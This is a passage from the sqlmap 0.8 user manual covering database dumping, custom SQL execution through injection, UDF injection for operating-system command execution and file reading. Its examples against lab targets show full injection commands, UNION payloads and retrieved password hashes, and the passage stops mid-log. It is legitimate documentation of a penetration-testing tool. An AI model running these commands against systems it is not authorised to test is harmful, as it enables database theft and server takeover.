| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
|
|
| 5 | NULL | nameisnull |
|
|
+----+--------------------------------------------+-------------------+
|
|
|
|
Database: information_schema
|
|
Table: CHARACTER_SETS
|
|
[36 entries]
|
|
+--------------------+----------------------+-----------------------------+--------+
|
|
| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION | MAXLEN |
|
|
+--------------------+----------------------+-----------------------------+--------+
|
|
| tis620 | tis620_thai_ci | TIS620 Thai | 1 |
|
|
| macroman | macroman_general_ci | Mac West European | 1 |
|
|
| dec8 | dec8_swedish_ci | DEC West European | 1 |
|
|
| ujis | ujis_japanese_ci | EUC-JP Japanese | 3 |
|
|
| eucjpms | eucjpms_japanese_ci | UJIS for Windows Japanese | 3 |
|
|
| armscii8 | armscii8_general_ci | ARMSCII-8 Armenian | 1 |
|
|
| ucs2 | ucs2_general_ci | UCS-2 Unicode | 2 |
|
|
| hp8 | hp8_english_ci | HP West European | 1 |
|
|
| latin2 | latin2_general_ci | ISO 8859-2 Central European | 1 |
|
|
| koi8u | koi8u_general_ci | KOI8-U Ukrainian | 1 |
|
|
| keybcs2 | keybcs2_general_ci | DOS Kamenicky Czech-Slovak | 1 |
|
|
| ascii | ascii_general_ci | US ASCII | 1 |
|
|
| cp866 | cp866_general_ci | DOS Russian | 1 |
|
|
| cp1256 | cp1256_general_ci | Windows Arabic | 1 |
|
|
| macce | macce_general_ci | Mac Central European | 1 |
|
|
| sjis | sjis_japanese_ci | Shift-JIS Japanese | 2 |
|
|
| geostd8 | geostd8_general_ci | GEOSTD8 Georgian | 1 |
|
|
| cp1257 | cp1257_general_ci | Windows Baltic | 1 |
|
|
| cp852 | cp852_general_ci | DOS Central European | 1 |
|
|
| euckr | euckr_korean_ci | EUC-KR Korean | 2 |
|
|
| cp1250 | cp1250_general_ci | Windows Central European | 1 |
|
|
| cp1251 | cp1251_general_ci | Windows Cyrillic | 1 |
|
|
| binary | binary | Binary pseudo charset | 1 |
|
|
| big5 | big5_chinese_ci | Big5 Traditional Chinese | 2 |
|
|
| gb2312 | gb2312_chinese_ci | GB2312 Simplified Chinese | 2 |
|
|
| hebrew | hebrew_general_ci | ISO 8859-8 Hebrew | 1 |
|
|
| koi8r | koi8r_general_ci | KOI8-R Relcom Russian | 1 |
|
|
| greek | greek_general_ci | ISO 8859-7 Greek | 1 |
|
|
| cp850 | cp850_general_ci | DOS West European | 1 |
|
|
| utf8 | utf8_general_ci | UTF-8 Unicode | 3 |
|
|
| latin1 | latin1_swedish_ci | cp1252 West European | 1 |
|
|
| latin7 | latin7_general_ci | ISO 8859-13 Baltic | 1 |
|
|
| cp932 | cp932_japanese_ci | SJIS for Windows Japanese | 2 |
|
|
| latin5 | latin5_turkish_ci | ISO 8859-9 Turkish | 1 |
|
|
| swe7 | swe7_swedish_ci | 7bit Swedish | 1 |
|
|
| gbk | gbk_chinese_ci | GBK Simplified Chinese | 2 |
|
|
+--------------------+----------------------+-----------------------------+--------+
|
|
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
You can also provide the <tt>-</tt><tt>-exclude-sysdbs</tt> option to exclude all
|
|
system databases. In that case sqlmap will only dump entries of users' databases
|
|
tables.
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dump-all \
|
|
--exclude-sysdbs -v 0
|
|
|
|
Database: master
|
|
Table: spt_datatype_info_ext
|
|
[10 entries]
|
|
+----------------+-----------------+-----------+-----------+
|
|
| AUTO_INCREMENT | CREATE_PARAMS | typename | user_type |
|
|
+----------------+-----------------+-----------+-----------+
|
|
| 0 | length | char | 175 |
|
|
| 0 | precision,scale | numeric | 108 |
|
|
| 0 | max length | varbinary | 165 |
|
|
| 0 | precision,scale | decimal | 106 |
|
|
| 1 | precision | numeric | 108 |
|
|
| 0 | length | nchar | 239 |
|
|
| 0 | max length | nvarchar | 231 |
|
|
| 0 | length | binary | 173 |
|
|
| 0 | max length | varchar | 167 |
|
|
| 1 | precision | decimal | 106 |
|
|
+----------------+-----------------+-----------+-----------+
|
|
|
|
[...]
|
|
|
|
Database: master
|
|
Table: users
|
|
[5 entries]
|
|
+----+----------------------------------------------+-------------------+
|
|
| id | name | surname |
|
|
+----+----------------------------------------------+-------------------+
|
|
| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
|
|
| 2 | fluffy | bunny |
|
|
| 1 | luther | blisset |
|
|
| 3 | wu | ming |
|
|
| 5 | NULL | nameisnull |
|
|
+----+----------------------------------------------+-------------------+
|
|
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Note that on Microsoft SQL Server the <tt>master</tt> database is not
|
|
considered a system database because some database administrators use it
|
|
as a users' database.
|
|
|
|
|
|
<sect2>Execute custom SQL statement
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-sql-query</tt> and <tt>-</tt><tt>-sql-shell</tt>
|
|
|
|
<p>
|
|
The SQL query and the SQL shell features makes the user able to execute
|
|
custom SQL statements on the web application's back-end database
|
|
management.
|
|
sqlmap automatically dissects the provided statement, determines which
|
|
technique to use to inject it and how to pack the SQL payload accordingly.
|
|
|
|
If it is a <tt>SELECT</tt> statement, sqlmap will retrieve its output
|
|
through the blind SQL injection or UNION query SQL injection technique
|
|
depending on the user's options. Otherwise it will execute the query
|
|
through the stacked query SQL injection technique if the web application
|
|
supports multiple statements on the back-end database management system.
|
|
|
|
<p>
|
|
Examples on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
|
|
"SELECT 'foo'" -v 1
|
|
|
|
[...]
|
|
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
|
|
[hh:mm:14] [INFO] retrieved: foo
|
|
SELECT 'foo': 'foo'
|
|
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
|
|
"SELECT 'foo', 'bar'" -v 2
|
|
|
|
[...]
|
|
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
|
|
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
|
|
distinct queries to be able to retrieve the output even if we are going blind
|
|
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
|
|
(CHAR(32)))
|
|
[hh:mm:50] [INFO] retrieved: foo
|
|
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
|
|
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
|
|
(CHAR(32)))
|
|
[hh:mm:50] [INFO] retrieved: bar
|
|
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
|
|
SELECT 'foo', 'bar': 'foo, bar'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see from the last example, sqlmap splits provided query into two
|
|
different <tt>SELECT</tt> statements for it to be able to retrieve the
|
|
output even in case when using the blind SQL injection technique.
|
|
Otherwise, in UNION query SQL injection technique it only performs a single
|
|
HTTP request to get the user's query output:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
|
|
"SELECT 'foo', 'bar'" -v 2 --union-use
|
|
|
|
[...]
|
|
[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
|
|
[hh:mm:03] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
[hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id'
|
|
[hh:mm:03] [INFO] the target url is affected by an exploitable full inband sql injection
|
|
vulnerability
|
|
[hh:mm:03] [DEBUG] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
|
|
CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
|
|
+(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
|
|
CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
|
|
CHAR(116)), NULL-- AND 8373=8373
|
|
[hh:mm:03] [DEBUG] performed 3 queries in 0 seconds
|
|
SELECT 'foo', 'bar' [1]:
|
|
[*] foo, bar
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
If your <tt>SELECT</tt> statement contains a <tt>FROM</tt> clause, sqlmap
|
|
asks the user if such statement can return multiple entries. In that
|
|
case the tool knows how to unpack the query correctly to retrieve its
|
|
whole output, entry per entry, when going through blind SQL injection
|
|
technique. In provided example, UNION query SQL injection it retrieved
|
|
the whole output in a single response.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-query \
|
|
"SELECT usename FROM pg_user" -v 0
|
|
|
|
[hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
|
|
[hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries. How many entries
|
|
do you want to retrieve?
|
|
[a] All (default)
|
|
[#] Specific number
|
|
[q] Quit
|
|
Choice: 2
|
|
SELECT usename FROM pg_user [2]:
|
|
[*] postgres
|
|
[*] testuser
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see from the last example, sqlmap counts the number of entries
|
|
for a given query and asks for number of entries to dump.
|
|
Otherwise, if the <tt>LIMIT</tt> is also specified, or similar clause,
|
|
sqlmap will not ask for anything. It will just unpack the query and return its
|
|
output, entry per entry, when going through blind SQL injection technique.
|
|
In a given example, sqlmap used UNION query SQL injection to retrieve the
|
|
whole output in a single response.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-query \
|
|
"SELECT host, password FROM mysql.user LIMIT 1, 3" -v 2
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:22] [INFO] fetching SQL SELECT statement query output: 'SELECT host, password FROM
|
|
mysql.user LIMIT 1, 3'
|
|
[hh:mm:22] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it
|
|
into distinct queries to be able to retrieve the output even if we are going blind
|
|
[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
|
|
mysql.user LIMIT 1, 1
|
|
[hh:mm:22] [INFO] retrieved: localhost
|
|
[hh:mm:22] [DEBUG] performed 69 queries in 0 seconds
|
|
[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM
|
|
mysql.user LIMIT 1, 1
|
|
[hh:mm:22] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
|
|
[hh:mm:24] [DEBUG] performed 293 queries in 2 seconds
|
|
[hh:mm:24] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
|
|
mysql.user LIMIT 2, 1
|
|
[hh:mm:24] [INFO] retrieved: localhost
|
|
[hh:mm:25] [DEBUG] performed 69 queries in 0 seconds
|
|
[hh:mm:25] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM
|
|
mysql.user LIMIT 2, 1
|
|
[hh:mm:25] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
|
|
[hh:mm:27] [DEBUG] performed 293 queries in 2 seconds
|
|
[hh:mm:27] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
|
|
mysql.user LIMIT 3, 1
|
|
[hh:mm:27] [INFO] retrieved: localhost
|
|
[hh:mm:28] [DEBUG] performed 69 queries in 0 seconds
|
|
[hh:mm:28] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32))
|
|
FROM mysql.user LIMIT 3, 1
|
|
[hh:mm:28] [INFO] retrieved:
|
|
[hh:mm:28] [DEBUG] performed 6 queries in 0 seconds
|
|
SELECT host, password FROM mysql.user LIMIT 1, 3 [3]:
|
|
[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
|
|
[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
|
|
[*] localhost,
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
The SQL shell option gives you an access to run your own SQL statement
|
|
interactively, like a SQL console connected to the back-end database
|
|
management system.
|
|
Note that this feature provides TAB completion and history support.
|
|
|
|
<p>
|
|
Example of history support on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
|
|
|
|
sql> SELECT 'foo'
|
|
SELECT 'foo': 'foo'
|
|
|
|
sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
|
|
sql> SELECT version()
|
|
SELECT version(): 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
|
|
|
|
sql> exit
|
|
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
|
|
|
|
sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
|
|
sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
|
|
[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
|
|
[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
|
|
do you want to retrieve?
|
|
[a] All (default)
|
|
[#] Specific number
|
|
[q] Quit
|
|
Choice: 2
|
|
SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
|
|
[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
|
|
[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example of TAB completion on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0
|
|
|
|
sql> [TAB TAB]
|
|
LIMIT
|
|
(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1))
|
|
LIMIT 0, 1)='Y'
|
|
AND ORD(MID((%s), %d, 1)) > %d
|
|
CAST(%s AS CHAR(10000))
|
|
COUNT(%s)
|
|
CURRENT_USER()
|
|
DATABASE()
|
|
IFNULL(%s, ' ')
|
|
LENGTH(%s)
|
|
LIMIT %d, %d
|
|
MID((%s), %d, %d)
|
|
ORDER BY %s ASC
|
|
SELECT %s FROM %s.%s
|
|
SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)
|
|
SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND
|
|
table_schema='%s'
|
|
SELECT grantee FROM information_schema.USER_PRIVILEGES
|
|
SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
|
|
SELECT schema_name FROM information_schema.SCHEMATA
|
|
SELECT table_schema, table_name FROM information_schema.TABLES
|
|
SELECT user, password FROM mysql.user
|
|
SLEEP(%d)
|
|
VERSION()
|
|
\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)
|
|
sql> SE[TAB]
|
|
sql> SELECT
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see the TAB functionality shows the queries defined for the
|
|
back-end database management system in sqlmap XML queries file, but you
|
|
can run whatever <tt>SELECT</tt> statement you want.
|
|
|
|
<p>
|
|
Example of asterisk expansion on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-shell \
|
|
-v 2
|
|
|
|
[...]
|
|
[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
|
|
sql> SELECT * FROM test.users
|
|
[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
|
|
[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the
|
|
column names itself.
|
|
[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
|
|
[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
|
|
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32))
|
|
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116)
|
|
[hh:mm:48] [INFO] retrieved: 3
|
|
[hh:mm:48] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
|
|
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116) LIMIT 0, 1
|
|
[hh:mm:48] [INFO] retrieved: id
|
|
[hh:mm:48] [DEBUG] performed 20 queries in 0 seconds
|
|
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
|
|
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116) LIMIT 1, 1
|
|
[hh:mm:48] [INFO] retrieved: name
|
|
[hh:mm:48] [DEBUG] performed 34 queries in 0 seconds
|
|
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
|
|
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116) LIMIT 2, 1
|
|
[hh:mm:48] [INFO] retrieved: surname
|
|
[hh:mm:48] [DEBUG] performed 55 queries in 0 seconds
|
|
[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
|
|
[hh:mm:48] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
|
|
[hh:mm:04] [DEBUG] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM
|
|
test.users
|
|
[hh:mm:04] [INFO] retrieved: 5
|
|
[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many
|
|
entries
|
|
do you want to retrieve?
|
|
[a] All (default)
|
|
[#] Specific number
|
|
[q] Quit
|
|
Choice: 3
|
|
[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 0, 1
|
|
[hh:mm:09] [INFO] retrieved: 1
|
|
[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 0, 1
|
|
[hh:mm:09] [INFO] retrieved: luther
|
|
[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
|
|
test.users ORDER BY id ASC LIMIT 0, 1
|
|
[hh:mm:09] [INFO] retrieved: blissett
|
|
[hh:mm:09] [DEBUG] performed 62 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 1, 1
|
|
[hh:mm:09] [INFO] retrieved: 2
|
|
[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 1, 1
|
|
[hh:mm:09] [INFO] retrieved: fluffy
|
|
[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
|
|
test.users ORDER BY id ASC LIMIT 1, 1
|
|
[hh:mm:09] [INFO] retrieved: bunny
|
|
[hh:mm:09] [DEBUG] performed 41 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 2, 1
|
|
[hh:mm:09] [INFO] retrieved: 3
|
|
[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 2, 1
|
|
[hh:mm:09] [INFO] retrieved: wu
|
|
[hh:mm:09] [DEBUG] performed 20 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
|
|
test.users ORDER BY id ASC LIMIT 2, 1
|
|
[hh:mm:09] [INFO] retrieved: ming
|
|
[hh:mm:10] [DEBUG] performed 34 queries in 0 seconds
|
|
SELECT * FROM test.users [3]:
|
|
[*] 1, luther, blissett
|
|
[*] 2, fluffy, bunny
|
|
[*] 3, wu, ming
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see from the example, if the <tt>SELECT</tt> statement has
|
|
an asterisk instead of the column(s) name, sqlmap first retrieves all
|
|
column names of the current table, asks if the query can return multiple
|
|
entries and goes on.
|
|
|
|
<p>
|
|
Example of SQL statement other than <tt>SELECT</tt> on a <bf>PostgreSQL
|
|
8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[10:hh:mm] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
|
|
sql> SELECT COUNT(name) FROM users
|
|
[hh:mm:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
|
|
[hh:mm:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
|
|
[hh:mm:59] [INFO] retrieved: 4
|
|
SELECT COUNT(name) FROM users: '4'
|
|
|
|
sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');
|
|
[hh:mm:35] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:40] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users
|
|
(id, name, surname) VALUES (5, 'from', 'sql shell');'
|
|
[hh:mm:40] [INFO] done
|
|
sql> SELECT COUNT(name) FROM users
|
|
[hh:mm:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
|
|
[hh:mm:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
|
|
[hh:mm:53] [INFO] retrieved: 5
|
|
SELECT COUNT(name) FROM users: '5'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see from the example, when the user provides a SQL statement
|
|
other than <tt>SELECT</tt>, sqlmap recognizes it, tests if the web
|
|
application supports stacked queries and in case it does, it executes
|
|
the provided SQL statement in a multiple statement mode.
|
|
|
|
<p>
|
|
Beware that some web application technologies do not support stacked
|
|
queries on specific database management systems. For instance, PHP does
|
|
not support stacked queries when the back-end DBMS is MySQL, but it does
|
|
support when the back-end DBMS is PostgreSQL.
|
|
|
|
|
|
<sect1>User-defined function injection
|
|
|
|
<sect2>Inject custom user-defined functions (UDF)
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-udf-inject</tt> and <tt>-</tt><tt>-shared-lib</tt>
|
|
|
|
<p>
|
|
You can inject your own user-defined functions (UDFs) by compiling a
|
|
MySQL or PostgreSQL shared library, DLL for Windows and shared object for
|
|
Linux/Unix, then provide sqlmap with the path where the shared library
|
|
is stored locally on your machine. sqlmap will then ask you some
|
|
questions, upload the shared library on the database server file system,
|
|
create the user-defined function(s) from it and, depending on your
|
|
options, execute them. When you are finished using the injected UDFs,
|
|
sqlmap can also remove them from the database for you.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.4</bf>:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 --udf-inject -v 0
|
|
|
|
[...]
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: PostgreSQL
|
|
|
|
which is the local path of the shared library? udf/postgresql/linux/8.4/lib_postgresqludf_sys.so
|
|
how many user-defined functions do you want to create from the shared library? 1
|
|
what is the name of the UDF number 1? sys_eval
|
|
how many input parameters takes UDF 'sys_eval'? (default: 1)
|
|
what is the data-type of input parameter number 1? (default: text)
|
|
what is the data-type of the return value? (default: text)
|
|
do you want to call your injected user-defined functions now? [Y/n/q] y
|
|
which UDF do you want to call?
|
|
[1] sys_eval
|
|
[q] Quit
|
|
> 1
|
|
what is the value of the parameter number 1 (data-type: text)? echo test
|
|
do you want to retrieve the return value of the UDF? [Y/n]
|
|
return value: 'test'
|
|
|
|
do you want to call this or another injected UDF? [Y/n] n
|
|
do you want to remove UDF 'sys_eval'? [Y/n]
|
|
[12:00:10] [WARNING] remember that UDF shared object files saved on the file system can only
|
|
be deleted manually
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
If you want, you can specify the shared library local file system path
|
|
via command line using <tt>-</tt><tt>-shared-lib</tt> option.
|
|
|
|
<sect1>File system access
|
|
|
|
<sect2>Read a file from the database server's file system
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-read-file</tt>
|
|
|
|
<p>
|
|
It is possible to retrieve the content of files from the underlying file
|
|
system when the back-end database management system is either MySQL,
|
|
PostgreSQL or Microsoft SQL Server, and the session user has the needed
|
|
privileges to abuse database specific functionalities and architectural
|
|
weaknesses.
|
|
The file specified can be either a text or a binary file. sqlmap will
|
|
handle it automatically.
|
|
|
|
<p>
|
|
These techniques are detailed in the white paper
|
|
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf"
|
|
name="Advanced SQL injection to operating system full control">.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target to retrieve a text file:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \
|
|
--read-file "C:\example.txt" -v 2
|
|
|
|
[...]
|
|
[hh:mm:53] [INFO] the back-end DBMS is PostgreSQL
|
|
web server operating system: Windows 2003 or 2008
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:53] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:53] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:53] [DEBUG] query: COALESCE(CAST(SUBSTR((VERSION())::text, 12, 6) AS CHARACTER(10000)),
|
|
CHR(32))
|
|
[hh:mm:53] [INFO] retrieved: 8.3.5,
|
|
[hh:mm:58] [DEBUG] performed 49 queries in 4 seconds
|
|
[hh:mm:58] [DEBUG] query: SELECT PG_SLEEP(5)
|
|
[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:03] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:03] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:03] [DEBUG] query: CREATE TABLE sqlmapfile(data character(500))
|
|
[hh:mm:03] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
|
|
[hh:mm:03] [DEBUG] query: SELECT (CASE WHEN ((SELECT LENGTH(data) FROM sqlmapfile WHERE data
|
|
LIKE CHR(37)||CHR(32)||CHR(86)||CHR(105)||CHR(115)||CHR(117)||CHR(97)||CHR(108)||CHR(32)||
|
|
CHR(67)||CHR(43)||CHR(43)||CHR(37))>0) THEN 1 ELSE 0 END)
|
|
[hh:mm:03] [INFO] retrieved: 1
|
|
[hh:mm:03] [DEBUG] performed 5 queries in 0 seconds
|
|
[hh:mm:03] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:03] [DEBUG] cleaning up the database management system
|
|
[hh:mm:03] [DEBUG] removing support tables
|
|
[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:04] [DEBUG] going to read the file with stacked query SQL injection technique
|
|
[hh:mm:04] [WARNING] binary file read on PostgreSQL is not yet supported, if the requested file
|
|
is binary, its content will not be retrieved
|
|
